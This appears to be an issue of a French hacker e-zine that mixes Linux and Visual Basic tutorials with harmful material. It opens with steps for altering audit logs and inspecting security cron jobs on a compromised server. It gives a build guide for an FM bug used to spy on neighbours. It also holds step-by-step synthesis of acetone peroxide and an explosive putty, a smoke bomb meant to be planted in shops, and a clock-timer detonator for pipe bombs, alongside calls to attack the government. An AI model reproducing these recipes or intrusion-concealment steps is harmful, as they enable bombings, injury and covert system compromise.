Juste après être connecté faire : "touche /tmp/check" avant de continuer à travailler. 

Par la suite faire : "find / -newer /tmpcheck -print" ou "find / -ctime 0 -print" ou encore "find / -cmin 0 -print", vérifier les fichiers d'audit et les modifier.

6. Vérifier les répertoire s par défault :

/usr/adm , /var/adm , /var/log.

7. Manipuler les prg de sécurité installés :

Sur les serveurs sécurisés, les prg de sécurité sont lancés à intervalles périodiques par cron. Ces programmes vérifient les tailles de fichiers ou analyse les logs serveurs. Ils peuvent également être stockés dans les répertoires /adm ou ~bin ( pour les sniffers ).

accéder aux paramètres de cron. Le rep par default est /var/spool/cron/crontabs.

Vérifiez toutes les entrées surtout les fichiers "root" et analysez les prgs lancés.

Faire par exemple : "crontab -l root".

Les prg de sécurités sont en général : tiger, spi, tripewire, 15, binaudit, hobgoblin, s3,...

« joker » : j’ai trouvé ce texte sur le net mais qui avait été repris et je ne connais pas l’auteur original, désolé. Si l’auteur de ce texte lit notre zine, merci qu’il me contacte pour que je rectifie et que je mette son nom dans le prochain numéro.

	Linux 


Bon cet article s’adresse au personne ne connaissant casiment pas linux. C’est une introduction, qui vous permettra de comprendre d’autres articles avenir. Donc on y va :

Bon d’abord quelques trucs a savoir :

· sous linux les répertoires sont séparés par des « / » et non pas par des « \ » comme sous DOS.

· Les majuscules et les minuscules ne sont pas équivalentes.

· Les commandes doivent être tapées avec une grande précision, un espace ou une virgule oublier et la commade est incorrecte.

· On valide bien sur avec la touche « entrée ».

Je considère que vous avez su instaler votre linux, si ce n’est pas le cas et bien reporter vous au différents articles sur le sujet. Si la demande est importante, je ferai un article sur « comment installer sont linux ».

On va maintenant apprendre quelques commandes principales :

La commande cd :

 Elle sert à se déplacer dans l’arborescence des répertoires.

Pour revenir au répertoire parent : cd .. (« cd », « espace », « .. »)

Pour revenir à la racine : cd /
Pour aller dans un répertoire : il y a 2 cas :

Ex : vous êtes dans [root@jokers /root]$ et vous voulez aller dans le répertoire /etc. Pour cela faut taper : cd /etc. ou bien ya une autre méthode qui est beaucoup plus longue, c’est de revenir à la racine puis d’aller dans le répartoire souhaité.

Maintenant si vous êtes dans  [root@jokers /]# (racine) et que vous voulez toujours aller dans le répertoire /ect, il faut taper : cd etc
Pour ce placer dans son répertoire (utilisateur, root) on utilise la commande cd ~
La commande ls :

Elle sert à lister le contenue d’un répertoire.

Par exemple vous êtes dans le répertoire racine et vous utiliser la commande ls vous obtiendrez quelque chose dans ce genre : bin boot cdrom etc usr var vmlinux

Maintenant vous vous trouvez dans le répertoir /bin et vous faites un ls ,voilà un exemple de ce que vous pourrez obtenir :

arch           dd             gzip           nisdomainname  su

ash            df             hostname       ping           sync

awk            dmesg          kill           ps             tar

cp             fgrep          mount          sh             ypdomainname

cpio           gawk           mt             sleep          zcat

csh            grep           mv             sort           zsh

date           gunzip         netstat        stty           ls

on peut également lister que certains fichiers. Par exemple vous souhaitez lister tous les fichiers commençant par « j ». Et bien vous utilisez la commande : ls j*
Ensuite, il existe d’autre extension de la commande ls ( je sais pas vraiment comment ça s’apelle, des sorte d’options). Donc on y va pour les autre fonction de la commande ls :

ls -l : pour avoir des infos sur un fichier. (date de création, volume, date de modif etc…)

ls -a : liste tous les fichiers d’un répertoire, meme les fichiers cachés.

ls -m : Affiche les fichiers en les séparant par une virgule au lieu de les présenter en colonnes. 

ls -t : Affiche les fichiers par date, c'est-à-dire en les classant du plus récent au plus ancien. 

ls -lu : Affiche les fichiers par date de dernier accès et indique cette date. 

ls -F : Affiche les fichiers par type. Ainsi un fichier suivi d'un "@"  est un lien, un fichier suivi d'une étoile est un fichier exécutable et un fichier suivi d'un slash (/) est un répertoire.

ls -S : Affiche les fichiers triés par ordre de taille décroissante. 

ls -X : Affiche les fichiers par type d'extension. 

ls -r  : Affiche les fichier en ordre alphabétique inverse.
Cette option est spécial car elle permet d'inverser l'effet du tris demander. Par exemple, la commande ls -tr affichera les fichiers par date en commençant par les plus anciens pour terminer par les plus récents. 

La commande pwd :

Elle sert à connaître le chemin d’un répertoire. Bah c’est tout ce qui ya a expliquer !

La commande cat :

Elle permet de lire un fichier. Si vous utiliser l’option -n, cela permetra de numéroter les lignes du fichier. Si le fichier est important, utiliser la commande « more » pour afficher le fichier page par page. Utiliser la touche ESPACE pour passer à la page suivante.

La commande cp :

Elle permet de copier un fichier ou un répertoire. La syntaxe de la commande cp est la suivante :
cp [option] fichier-origine fichier-destination ou cp [option] fichier répertoire

Par exemple : cp joker joker2 (ici on copie le fichier joker dans un autre fichier : joker2 et dans le même répertoire.)

Si vous voulez faire une copie du fichier dans un autre répertoire faites par exemple : cp joker /home/joker2 (si vous précisez pas le nom du fichier, il portera le même nom que l’original, sauf qu’il sera dans un autre rep).

Bon maintenant on va voir les options de cp :

cp -b permet comme l'option -i de s'assurer que la copie n'écrase pas un fichier existant : le fichier écrasé est sauvegardé, seul le nom du fichier d'origine est modifié et cp ajoute un tilde (~) à la fin du nom du fichier. 

cp -l permet de faire un lien "dur" entre le fichier source et sa copie. Ceci signifie que le fichier copié et sa copie partageront physiquement le même espace. Cela permet des gains de place non négligeables. Plus exactement, sur le disque dur le fichier et sa copie seront le même fichier alors qu'avec une copie classique, le disque dur contiendra deux exemplaires du fichier. 

cp -s permet de faire un lien "symbolique" entre le fichier source et sa copie. Le lien symbolique est un pointeur. Ainsi si nous copions le fichier linux-test avec l'option -s, lorsque par exemple nous voudrons éditer le fichier copié, linux éditera en réalité le fichier original ( 

cp -p permet lors de la copie de préserver toutes les informations concernant le fichier comme le propriétaire, le groupe, la date de création 

cp -r permet de copier de manière récursive l'ensemble d'un répertoire et de ses sous-répertoires. 

La commande rm :

Elle sert à suprimer un fichier. Par exemple : rm joker (suprimera le fichier joker).

Quelques options : 

rm -d permet de supprimer un répertoire qu'il soit plein ou non 

rm -r permet de supprimer un répertoire et ses sous répertoires 

rm -f permet de supprimer les fichiers protégés en écriture et répertoires sans que le prompt demande une confirmation de suppression 

la commande mkdir :

elle sert à créer un répertoire ou des répertoires. Si vous désirez faire un rep : mkdir joker et si vous souhaitez créer plusieurs repertoires : mkdir -p docs/joker/group. Au lieux de faire les rep un par un, utilisez l’option -p, vous gagnerez du temps !(
la commande mv :

 elle sert à déplacer ou à renommer un fichier. Pour renommer un fichier :

mv joker lightning (va renommer le fichier joker en lightning)

pour déplacer un fichier : mv joker /home/joker/hacking (vas déplacer le fichier joker dans le répertoire spécifier).

La commande find :

Elle sert à cherche un fichier. Par exemple : find / -name joker -print

Ici le “/” défini que vous faites la recherche a partir de la racine, mais vous pouvez la faire dans le rep que vous voulez. Les options de cette commande sont nombreuses, c pour cela que je vais vous laissez les découvrire tout seul.

Bon voilà, je pense qu’avec ça, vous pouvez vous lancez sous linux. C’est les trucs de bases.

J’espère que ce texte vous aidera à passer sous linux !

By the joker and Armand Delcros

	Micro espion


Intro
Espionner ses voisins ou son pire enemi c'est vraiment genial ! mais sans se faire prendre c encore mieux ! Donc pas question de se planquer deriere la porte d'entré ou dans le placard !! C'est pour ca qu'un micro espion est indispensable ! Aie il l'a dit micro espion ca veut dire des reglage a n'en plus finir et des heure de mise au point sans parler des pb de realisation des bobinage !! Mais non ! C'est tout simple !! Suivez le guide ! 

Connaissance requise
Vous devez savoir souder 2 bout de fil, donc vous devez avoir un fer a souder ( on en trouve pour moin de 100 balle, mais attention il faut prendre un fer avec une panne assez fine ! ), de la soudure ( pas beaucoup, vous en chourez au bahut, ou y en a des petite bobine a 10 balle ), de la patience !

Caracteristiques techniques
Le micro emet dans la bande des 88-108 Mhz ! La porter est d'environ ( je dit bien environ ) 100 m d'en d'exelente conditon ( campagne sans ligne electrique avec un terrain degagé !! ) donc il faut compter environ 30 a 50 m en ville voir peut etre moin si vos reglage sont mal fait !! Pour ce qui veulent plus de porter il devront faire appel a un amplificateur ( mais la consommation devient plus importante ! )

Realisation
Pour realiser le micro vous avez le choix entre faire un circuit imprimé ou realiser le circuit sur platine preperforé. Les 2 solution sont aussi bien mais sur platine perforé ca coute moin cher et en plus on peut le faire tout de suit mais en revanche c plus chiant a faire !!
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Pour la realisation sur C.I. faut d'abord faire le CI : imprimé le typon puis insolé votre platine ( pour les neuneu : tu met une lampe UV a une trentaine de cm de la plaque, tu met le typon sur la plaque et tu laisse insolé comme ca 12 min ) ! Pour ce qui peuve pas le faire aller voir dans un magasin d'electronique et expliquer leur votre probleme ! Après insolation faut se grouyer de reveler votre circuit : faite le tremper dans de la soude quelque peu dilué l'espace de quelque seconde puis rincer le imediatement a l'eau ! Si tout le verni n'est pas parti alors retremper le et rincer le denouveau en frotant !! Une fois reveler faut graver votre circuit : faite chauffer du perchlorure de fer : metter la bouteil de perchlo dans une caserole d'eau bouillante ! Attention ne fait jamais chauffer du perchlo dans une caserole ! Puis verser le perchlo dans une bassine et metter votre circuit dedant ! Remuer regulierement ! Sortait votre circuit de tmp en tmp ! Un fois graver rincer a l'eau votre circuit puis pour enlever la couche de vernis restante ( le second vernis ) imbiber un chiffon d'acetone et frotter votre circuit avec ! Y a plus qu'a percer votre circuit et c pres !Un fois que vous avez votre circuit implanté les resistances puis les condensateurs, vienne ensuite les transistors puis le condensateur variable et la self ! Pour l'antenne la longueur varie selon la frequence entre 70cm ( 108Mhtz) et 85 cm (88Mhtz) donc couper un cable de 85 cm et raccourcisez le au fur et a mesure de 1cm a chaque fois des essai pour avoir une porté et une qualité optimum !

Pour la realisation sur platine perforé ( sans bande ) la faut faire chaque piste avec des morceau de fil electrique !Commencer par implanter un premier transistor (T1) puis les resistance et les condensateur qui l'entour et faite les liaison suivant le schéma ! Ensuite metter l'autre transistor et faite de meme ! En dernier vous monterez le micro et l'antenne ainsi que le coupleur de pile !

Une fois que vous avez finin votre montage allumer un poste radio et regler le sur une frequence vide ! Ensuite avec un tounevis entierement en plastique tourné lentement le condensateur ajustable jusqu'a entendre un sons bien net !

Vous pouvez aussi regler votre micro en cherchant la frequence avec votre poste radio !

Liste des composants :

Resistance

R1 10K 1/4W


R2 1M 1/4W

R3 100K 1/4W

R4 10K 1/4W

R5 100R 1/4W

R6 10K 1/4W

R7 1K 1/4K
Condensateur

C1 0.1µF ceramique ou MKT

C2 0.1µF ceramique ou MKT

C3 0.01µF ceramique ou MKT

C4 condensateur ajustable de 4 à 40 pF

C5 4.7pF ceramique

Transistor

T1 transistor NPN 2N3904 ou autre equivalent

T2 transistor NPN 2N3904 ou autre equivalent

Divers

L1 self 0.1µH sortie radiale ou axiale

un micro a elect 

un coupleur de pile et une pile de 9V

du fil pour l'antenne
Have a fun and Let there be rock !

B@boune

	VB


PROGRAMMEZ SOUS VB5-6 2eme PARTIE

Les CommonDialogBox, 

vf: les contrôles du système de fichiers.

Les trois contrôle du système de fichiers, (FileListBox, DirListBox et DriveListBox) sont de bons outils qui ne demandent pas bcp de programmation.

Vous pouvez par exemple créer des feuilles assez complexes qui peuvent comporter des choix portant sur de multiples répertoires...bon...en n'en est pas là !

Bon...il est peut être facile d'utiliser ces cotrôles mais il ya des petites bizarreries qu'il faut éviter, une grande partie de ces bizarreries est due a une simple propriété : FileName

Comment les reconnaitres ?

Ces trois contrôles se trouvent dans la boîte à outils standard : pour les nuls en anglais :

l'icône du dossier = DirListBox

l'icône du lecteur = DriveListBox

et l'icône du fichier = FileListBox

OK, maintenant, on va voir comment les utiliser, placez ces trois contrôles sur une feuille, ils sont pour l'instant indépendants, on pourra les relier en utilisant des propriété et des évenements (Drive,Path...)

DriveListBox

Pour permettre à la zone de liste d'affecter d'autres contrôles, vous devez écrire du code, c'est pas si dur, et facile a retenir :

Ici, une zone de liste Disque (ZLDisque) est utilisée en m^ temps qu'une zone de liste de repertoire (ZLR);

Suivez bien, le code pour la ZLDisque doiut répondre aux modifs en provoquant un changement de la ZLR, le code suivant éffectue ce travail pour la ZLDisque, nommée Drive1 et une zone se liste repertoire, appellée Dir1.

PrivateSub Drive1_change()

    Dir1.Path=Drive1.Drive

EndSub

Simple non ?

path est "souple", elle peut mémoriser un nom de chemin de localisation complet ou la lettre du disque (com ici), c'est l'équivalent de CD C: pour une commande DOS;

DirListBox

C'est c'une bizarrerie de vos dossiers présent sur un de vos disque, ce disque est défini dans le code ou à l'aide d'une zone de liste disque (ZLDisque).

bon, la plupart du temps, une ZLR est utilisée en m^ temps qu'une "zone particulière de liste de fichiers" (c'est plus long en vf q'en vo ! je vais dire  ZLF) ici l'évenement Change doit mettre à jour la liste ZLF. 

PrivateSub Dir1_Change()

    File1.Path=Dir1.Path

EndSub

Ah, au fait, Path indique quel répertoire doit être affiché.

FileListBox

Ok, on ettend ses jambes sous le bureau, on étein Skyrock et on regarde attentivement, ça va se corser.

On peut associer plusieurs propriétés à la ZLF : FileName, path, Pathern. mais pour répondre au choix de..."l'utilisateur" dans le code,  vous devez généralement obtenir le nom du fichier et la spécification de son chement de localisation (com une adresse inet)

C:\Windows\Système\Mondossier\Goldfinger

Mais voilà, Path emmerde tout le monde car il comporte une barre de fraction inversée (blabla... \ antislash) si le répertoire courrant est le répertoire racine (le lecteur). C:\

Mais si le répertoire courrant est égal à n'importe  quel répertoire , aucun \ n'apparrait à la fin de la chaine: ex : 

C:\hack\lightning-jokers       Compris?

Evidement, il existe du code pour obtenir le chemin  complet du fichier choisis :

ce code utilise la fonction de chaine (attention, mot nouveau?) intrinsèque Right

Right permet d'obtenir un nombre indiqué de caractère à partir de la fin de la chaine.

If Right (File1.Path, 1)<>"\"then s="\"

theFile=File1.Path & s & File1.Filename

Ouf ! Enfin fini !

Je ne vous propose pas d'exemple d'application, ou plutôt, si mais je ne vous donne pas le code, comme ça, vous tester vos capacité et vous pouvez savoir si vous avez bien compris.

La VisioFile, 

Joli nom hein ?

Et oui, une visionneuse de fichiers me parrait parfait pour exploiter les CommonDialogBox 

bon...nous n'avons besoin que d'une feuille, d'une zone de texte et des trois contrôle File,Dir,DriveListBox

pour la zone de texte que vous nommerez Text1, régler deux trois trucs, pour la propriété Multiline, définissez la a True, pour scrollbars, mettez 2-Vertical et mettez Text à (blanc).

Le code est étonnament simple ! Seules trois procédures sont utilisées, les 2 premières relient les commondialogs donc, comme tout à l'heure, tapez le code pour Dir1 et Drive1.

La seule chose qui reste à faire, c'est de mettre en application le comportement de la zone de liste de fichiers. et oui, lorsque le pote à qui vous ferez tester le prog cliquera 2 fois sur n'importe quelle ligne dans la zone de liste, 2 choses se produisent, Tout d'abord, la propriété FileName reçoit le nom du fichier séléctionné et, en second lieu, un évenement, DblCick se produit. il faut donc déterminer le nom du fichier complet, y compris les spécifications de son chemin, puis utiliser le nom du fichier pour l'afficher. je vous donne la procédure quand même, 

PrivateSub File1_DbleClick()

    Dim s As String, theFile As String

    Dim f As Object, stream As Object

    là, on copie le code de tout à l'heure avec Right...

puis, Set f = createObject("Scripting.FileSystemObject")

Set stream = f.OpenTextFile(theFile)

Text1.Text = stream.ReadAll

stream.Close

EndSub

Voilà, alors, c'était pas si dur hein ?  bon, essayez juste de retenir les codes de Dir1, DRive1 et celui de File1 de tout à l'heure, c'est l'essentiel !

Programmez-bien ! @+ Goldfinger


Salut, les développeurs en herbes ;)

Bon... nous allons parlez des propriétés dans VB et oui, c'est ce qui a révolutionné la programmation à l'époque ou le BASIC et l'ASM étaient les codes dernière génération pour les programmeur.

Une propriété se réfère à un certain attribut général d'un objet; largeur, taille, couleur, contenu...marque de voiture...

une nouvelle valeur est assignéz à une propriété, VB effectue tout ce qui est nécessaire pour refléter cette modif.

Changez la taille et comme par magie, l'objet est redessiné avec la nouvelle taille.

Supposon que vous ayez un objet appellé Goldfiger, pour un tel objet, certaines propriétés s'appliquent : taille, age et temps passé sur son ordi (TPSSO)

Vous pourriez employez la syntaxe objet pour défini les propriétés de Goldfinger :

Goldfinger.Age=16

Goldfinger.Taille=1.85

Goldfinger.Tpsso=ASTRONOMIQUE

les propriétés de Goldfinger sont maintenant fixées, vous n'avez pas a vous rappeller de quelconques noms de fonctions ou de syntaxe zarby,

Bon, sans vous prendre pour des cons, je précise que c'est un exemple imaginaire... Supposons maintenant que vous disposiez d'une zone de texte appellée Affichage. Vous pouvez employer ce nom pour définir un certain nombre de propriétés, par exemple l'instruction suivante rend la zone de texte temporairement invisible :

Affichage.Visible = False

une autre instruction la rend de nouveau visible :

Affichage.Visible = True

Et l'instruction suivante, qui obtient et redefinit à la fois une valeur de propriété, double la taille de la zone de texte :

Affichage.Height = Affichage.Height*2

pour placer un nouveau texte dans le contrôle, il suffit de définir cette propriété :

Affichage.Text="Bonjour à tous, c'est Goldfinger!"

OK, c'est compris, retenez simplement la forme du code, les points, les False, True, height... tous ces mots anglais qui vous feront progrésser au lycée (si vous êtes au lycée :). Au prochain zine !

@+ Goldfinger

	Bombe péroxyacétone


Le péroxiacetone, ou péroxide de tricycloacetone, est une poudre blanche qui peut   être fabriquée à la maison sans trop de difficultés. C'est un explosif de puissance moyenne. Il est fabriqué à partir d'acétone et de péroxide d'hydrogène et d'acide chloridrique comme catalyseur. Lorsqu'il est chauffé suffisamment, le solide blanc se décompose en méthane qui explose instantanément. A l'air libre et en petite quantité, il explosera en faisant une jolie boule de feu orangée. Mais le moindrement compressé ou dans un contenant semi-fermé, il détonera en produisant un puissant _bang!_. Il peut donc être utilisé comme démonstration, comme détonnateur ou comme moyen de destruction. (N'oubliez pas de toujours viser le gouvernement ou ceux qui le supportent, puisqu'il est notre véritable ennemi.)[Cyber Moron:Pis les amerloque et leur compagnies ! surtout Bill Gate et son empire!]
Méthode de fabrication:
Vous avez besoin de: 
· acétone (pharmacie, R?no-D?pot...) 

· péroxide d'hydrogène (pharmacie, R?no-D?pot...) 

· acide chloridrique (Canadian Tire, laboratoires...) 

· contenant gradué en millilitres 

· éprouvette large ou contenant semblable 

· compte-goutte 

· filtre en papier (? caf?) 

· entonnoir 

 
Verser quantités égales d'acétone et de péroxide dans l'éprouvette (pour que le mélange remplisse environ 4/5 de l'éprouvette) Ajouter quelques gouttes d'acide avec un compte-goutte et agiter sans tout renverser. Maintenant, il faut attendre quelque temps, c'est à dire quelques heures. Il faut attendre que la réaction de précipitation soit terminée. Ensuite il faut filtrer le mélange pour récolter le produit. La réaction dans le liquide peut alors recommencer juste un peu, et vous pourrez alors filtrer encore un peu plus de produit. Ensuite laissez sécher la poudre. Vous pouvez aussi la rincer avec de l'eau très très froide.
Méthode d'utilisation:
Vous pouvez en mettre un petit peu sur quelque chose et l'allumer avec une alumette, pour avoir une belle boule de feu. Attention: commencez des trés petites quantités (volume d'un grain de riz). Vous pouvez en mettre un petit peu sur une feuille de papier et mettre une flame sous le papier vis-à-vis la poudre pour faire le même effet qu'un pétard à mêche. Vous pouvez en mettre un petit peu dans un papier d'aluminium, replier le papier et appliquer une pression sur le petit paquet. Ensuite vouspouvez le jeter dans le feu pour un bang proportionnel à la quantité de poudre utilisée. Vous pouvez remplir une petite boite de film avec de la poudre très compactée et y insérer un petit baton noir (qui fait des étincelles sur un gateau) au centre et ensuite mettre le bouchon (avec un trou au milieu).
[Cyber Moron: Feu de bingale!]
 
comme ceci : [image: image2.jpg]



Ensuite : 
- Faire un trou dans le tronc d'un arbre de diamètre d'environ 8 pouces. 
-Y insérer le pétard et l'allumer. 
-Se réfugier derrière un mur et SE BOUCHER LES OREILLES. 
Il est CERTAIN que l'arbre va tomber. 
J'espère que ça a marcher, rappelez vous que vous êtes le seul responsable des accidents, mais si vous faites comme je vous ai dit ce n'est presque pas dangereux. écrivez moi un message si vous avez des questions ou pour me raconter vos exploits.
	Bombe fumigène


Le contenu de ce texte est à but informatif seulement et nous nous tenons
pas responsable de l'usage que vous pouvez en faire.
                                                        KneWoN

Pour Réaliser la bombe fumigène,vous avez besoin
de: 
    -Salpêtre
    -Sucre
    -Eau
    -Poêle (les ronds)
    -Plaque à buiscuits (plaque en métal)
    -Papier d'alluminium

Étape #1:SE PROCURER DU SALPÊTRE
         Vous pouvez trouver ce produit chez toute bonne pharmacie).Je vous 
         conseille d'acheter un pot de 125g.

Étape #2:FAIRE LE MÉLANGE
         Prendre du salpêtre, pas trop, le mettre dans un bol avec du sucre (je ne sais pas 
         exactement les doses... vous n'avez qu'à expérimenter et vous allez découvrir ce 
         qui vous suffit; c'est pour celà que je vous conseille de commencer par de petites
         doses). Ajouter de l'eau (pas trop) pour former une pâte.Vous avez votre mélange.

Étape #3:LA CUISSON
         Former une petite boite en papier d'aluminium  dans laquelle vous déposez le mélange.Ouvrez les ronds de votre           poele.Déposez la plaque à biscuits sur le rond.Mettre la boite d'aluminium contenant le mélange sur la plaque(au dessus            du rond pour la meilleur cuisson et répartition). Attendre que le salpêtredevienne de couleur Beige jusqu'à Brun pâle(Surveillez bien ça car ça pourrait prendre feu...).Fermer le rond et retirer la boite d'aluminium.

Étape #4:LA TOUCHE FINALE
         Laisser sécher le tout.Pour des résultats rapides, vous pouvez le mettre dans le 
         congélateur.Vous  pouvez aussi enfoncer une mèche dans le mélange pendant qu'il est encore mou(dépendant des préférences).

Étape #5:VOUS ÊTES PRÊTS?
         Votre bombe est maintenant prête.Il suffit de mettre feu à la croute ou à la mèche si vous en avez une (on peut prendre des bâtons noirs d'anniversaire (ceux qui font des étincelles) et les planter pendant que la pâte est encore molle.).     
         
ATTENTION!!! Le feu yé pomal chaud...quand la bombe est pognée...ça fait fondre le papier d'aluminium.

J'espère que celà vous a amusé et si jamais il y a des erreurs,informations complémentaires 
ou suggestions, n'hésitez pas à me contacter (#hack.fr sur undernet ou bin knewon@hotmail.com).
Dernière recommandation...ne faites pas ça au four... Je sais de quoi je parle. Vous allez bien 
vous amuser si vous en placez dans les épiceries et les dépanneurs... hehe

	Mastic


Tout d’abord je tient à préciser mes sources, et oui c pas moi qui est inventé cette recette (j’ui pas chimiste), donc j’ai choper cette recette ainsi que les photos sur IMF. Cet article est écrit par Rey ( j’ai juste changer qq mots). Bien sûr cet article est mis dans ce zine avec son autorisation.

Le mastic explosif se fait avec du peroxyde d'acétone et de balles de ping-pong.
vous le savez peut être pas mais les balles de ping-pong sont de la Celluloïd, c'est à dire un mélange de nitrocellulose (puissant explosif) et de camphre (plastifiant rendant la nitrocellulose inerte), on ne peut pas isoler la nitrocellulose mais on peut toute fois utiliser des balles pour obtenir de la laque de nitrocellulose.
voici la recette pour faire un vrai mastic explosif et de façon simple.

La laque de nitrocellulose :

[image: image3.jpg]
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Matériel : 
- Des balles de ping-pong (entre 3 et 30), les moins chères sont les meilleures.
- De l'acétone (entre 30 et 400 ml), on en trouve dans tous les supermarchés comme diluant ou même détachant.
- Un pot de verre
une baguette, le mieux c'est en verre mais si vous n'en avez pas prenez du plastique (évitez le métal)

Procédure :
On va prendre par exemple 5 balles....
Découpez vos 5 balles de ping-pong en petits morceaux. mettez-les dans votre pot de verre, et rajouter 50 ml d'acétone. Attendez 2 heures : vos balles se seront dissoutes et formeront une espèce de pâte très collante. S'il reste du liquide à la surface, enlevez-le.
Voilà votre laque de nitrocellulose à l'état brut.
Il faut compter environ 10 ml d'acétone par balle de ping-pong.


APPLICATION : 

LE MASTIC EXPLOSIF à partir de peroxyde d'acétone et de la laque de nitrocellulose.

[image: image5.jpg]



Ce qu'il faut faire:
Rajoutez à votre laque de nitrocellulose brute, humide et collante à peu près le même volume de peroxyde d'acétone, mélangez avec la baguette pour reformer une pâte uniforme. Attention ça colle et c'est très dur à enlever. Laissez sécher, cela peut prendre du temps : jusqu'à 3 jours.
[image: image6.jpg]
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Une fois sec vous obtenez normalement une espèce de brique solide : c'est votre "mastic explosif". Et c'est vraiment GENIAL !!! : cette brique vous la mettez là où vous voulez, vous scotchez une mèche dessus, vous allumez et ça pète directement : comme du plastique dans les films !!!


Ce qu'il faut savoir :
Votre peroxyde est ainsi désensibilisé, on peut manipuler le mastic sans crainte, attention tout de même aux flammes.
Vous pouvez utiliser autant de balles de ping-pong que vous le voulez, mais sachez qu'au dessus de 30 cela prend beaucoup de temps pour sécher, et il faut vraiment beaucoup de peroxyde.
Les dosages peroxyde/laque ne sont pas bien définis vous pouvez mettre 2 fois plus de peroxyde comme 2 fois plus de laque. Je pense que plus on met de laque moins c'est sensible (donc plus de sécurité) et que plus on met de peroxyde plus c'est puissant.
Pour commencer je conseille de prendre 5 balles.
ATTENTION : c'est bien sûr très puissant et toujours dangereux si une brique de 5 balles explose dans votre main elle risque d'être arrachée !!! 

By Rey (IMF) (et joker)

	Détonateur à minuterie


J'ai fait cet article, car dans le premier numéro du zine, je donnais très peu de précisions sur

la manière de mise à feu de la bombe chlo + sucre. Voici donc une manière très économique de fabriquer un détonateur à minuterie.

Prenez deux fils électriques, dénudez chaque côtés.

        \ /  \ /

         |    |

         |    |

         |    |

         |    |

        / \  / \

Ca vous donne ça. Prenez maintenant de la laine de fer, car elle brûle très facilement avec du

courant électrique. N'en prenez pas trop, et reliez votre morceau aux fils électriques. Reliez

ensuite l'une des deux extrémités libres directement à un des pôles de votre batterie. Puis reliez l'autre extrémité libre à l'une des aiguilles du réveil, et sur l'aiguille libre, faites 

partir un troisième fil dénudé au préalable jusqu'à l'autre pôle de la batterie. Prenez garde que

les aiguilles ne laissent pas passer le courant entre elles, sinon...>!!!BOUM!!!< Si tel est le

cas, un peu de scotch isolant, et c'est bon !

                     
           __________

        _____________|  BOMBE   |_____________

       |            
          |__________|           
         |

       |                                    


         |

       |                                    


         |

       |                                    


         \

       |                                     


           \ <==Interrupteur

       |                                    | 

       |              

        |                  
         |

       |__________________|  |________________|

                        
        |  |

                       

        |

Nb: L'interrupteur est en fait le réveil.

---

Il ne vous reste plus qu'à régler votre minuterie, et d'attendre que les deux aiguilles se croi-

sent pour que la coupure dans le circuit soit rétablis, autrement dit, que l'interrupteur soit

fermé.

 ...::£$£$!!!RAPPEL!!!$£$£::...

Quand vous faites une bombe, ne jamais fermer votre tube métallique avec un marteau, mais avec un éteau, et le plus doucement possible. Regardez la rubrique "24 HEURES EN FRANCE" du journal "La Voix du Nord" édition du 12 et 13 Juin:

"Un adolescent de 15 ans s'est griévement blessé en fabriquant une bombe artisanale à base de

sucre et d'un produit chimique. Alors qu'il voulait refermer le tube à l'aide d'un marteau, une

étincelle à provoqué la mise à feu de l'engin explosif. L'adolescent à eu la main gauche arrachée ainsi qu'une partie du genou gauche..."

ALORS FAITES GAFFE !!!!

Je vous avez promis de vous donner la recette du plastic dans ce numéro 3 du zine du groupe génial "Lightning Jokers", mais comme j'ai pas encore eu le temps de tester pour vous, va falloir encore attendre, ça sera peut-être chose faite dans le numéro 4, mais c'est pas sûr, je vais peut-être d'abord tester le peroxyde d'acetone, une poudre explosive plus puissante que le chlo + sucre...

                                                   [Article proposé par ThOR]

	Virii


tutorial sur les virus:

Voici un petit texte intéressant qui parles de virii, il est archi-connu, on le trouve un peu

partout dans les sites de hacking:

1 : Qu’est-ce qu’un virus ? 

Un virus est un programme autoreproducteur capable de se propager de façon autonome. Il causera 

des dégâts dans le système qu’il a infecté. Ces dégâts soit d’ordre logiciel soit même matériel, 

certains n'hésitent pas à détruire votre BIOS, et vont de l’affichage d’un petit message au for

matage complet de votre disque dur. 

Voici les sources d’infections : 

==>Une disquette dont le secteur d’amorce est infecté. 

==>Une disquette qui comporte un fichier exécutable infecté. 

==>Un LAN (Local Area Network ou réseau local) qui contient un poste infecté. 

==>Internet, par simple téléchargement. 

==>Le courrier électronique, par un document joint infecté. 

2 : Types de virus

[On classe les virus de 5 façons] : 

==>Virus du secteur d’amorce ; ils remplacent l’amorce d’un disque par leur propre code et se chargent ensuite en mémoire centrale. Il rendent inutilisable le disque d’amorçage et/ou se 

propagent vers d’autres disques. 

==>Virus de fichiers ; ils ajoutent leur code aux fichiers exécutables (*.exe  *.com *.bat ) et

se chargent en mémoire centrale afin de contaminer encore d’autre programmes. Il rendent ces programmes inutilisables. 

==>Virus furtifs ; ils échappent à toute détection en se camouflant. Une des méthodes de détection consiste à enregistrer la longueur d’un programme (si le virus a ajouté son code, on peut facilement comparer avec une simple sauvegarde de ce progr. ) 

==>Virus polymorphes ; ils modifient leur aspect à chaque nouvelle infection. 

==>Virus cryptés ; ils modifient leur code, ce qui complique leur détection. 

On peut ajouter 2 cas, mais souvent moins fréquents à cause de leur puissance : 

==>Cheval de Troie ; bombe à retardement implantée dans un programme. Il peut se déclencher à tout moment ou attendre un signal externe. Ce n’est donc pas un virus puisqu’il n’est pas conçu pour se reproduire et se propager. 

==>Bombe logique ; variante du cheval de Troie, elle attend un signal externe pour exploser. Ce signal peut être une date précise, un lancement d’un certain programme etc.. Les dégâts causés par cette bombe peuvent être d’ordre matériel des fois, comme une modification du BIOS pour entraîner une surcharge électrique 

3 : Symptômes d’une attaque
[Voici les principaux symptômes] : 

=>Un chargement d’un programme plus long que d’habitude. 

=>Un réseau anormalement chargé. 

=>Mémoire centrale insuffisante. 

=>Espace disque réduit. 

=>Taille de fichiers qui s’accroît anormalement. 

=>Système et/ou programmes qui plantent. 

=>Messages d’erreurs ou messages curieux. 

=>Un jeu de ping-pong apparaît. 

=>Les caractères s’écroulent. 

=>Mélodies bizarres au format midi. 

=>Accès disque multipliés. 

=>Perte de fichiers et de données. 

=>Programmes refusant de s’exécuter ou s’exécutent mais de façon anormale. 

=>Autoformatage du disque dur. 

4 : Fichiers cibles des virus
Le premier objectif est la contamination de une ou plusieurs cibles qui lui permettront d’être 

relancé le plus souvent possible. Une cible est appelée vecteur de contamination.

En principe, il existe 3 phases d’existence : 

Infection ; le virus infecte le système cible.

Contamination ; il se duplique et infecte d’autres cibles sans perturber le fonctionnement du 

système. 

Destruction ; il entre en activité et produit les effets pour lesquels il a été programmé. 

[Cibles des virus] : 

Fichiers exécutables, surtout les .COM (avec le très célèbre COMMAND.COM qui est lancé à chaque démarrage du système ). 

